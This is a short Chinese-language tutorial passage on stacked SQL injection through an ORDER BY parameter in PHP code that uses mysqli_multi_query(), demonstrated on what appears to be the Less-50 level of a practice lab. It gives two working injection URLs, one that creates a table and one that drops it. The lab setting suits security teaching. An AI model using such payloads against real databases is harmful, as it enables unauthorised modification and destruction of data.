【漏洞挖掘】——123、Order by堆叠注入

基本介绍

当order by后台执行sql语句为mysqli_multi_query()函数时，我们可以考虑使用堆叠注入，该函数与mysqli_query()的区别在于mysqli_multi_query()可以执行多个sql语句，而mysqli_query()只能执行一个sql语句，下面以Less-50为例做演示：

创建新表

http://192.168.71.130:83/Less-50/?sort=1 ;create table less50 like users 

请求执行前后表的变化：

删除表格

http://192.168.71.130:83/Less-50/?sort=1 ;drop table less50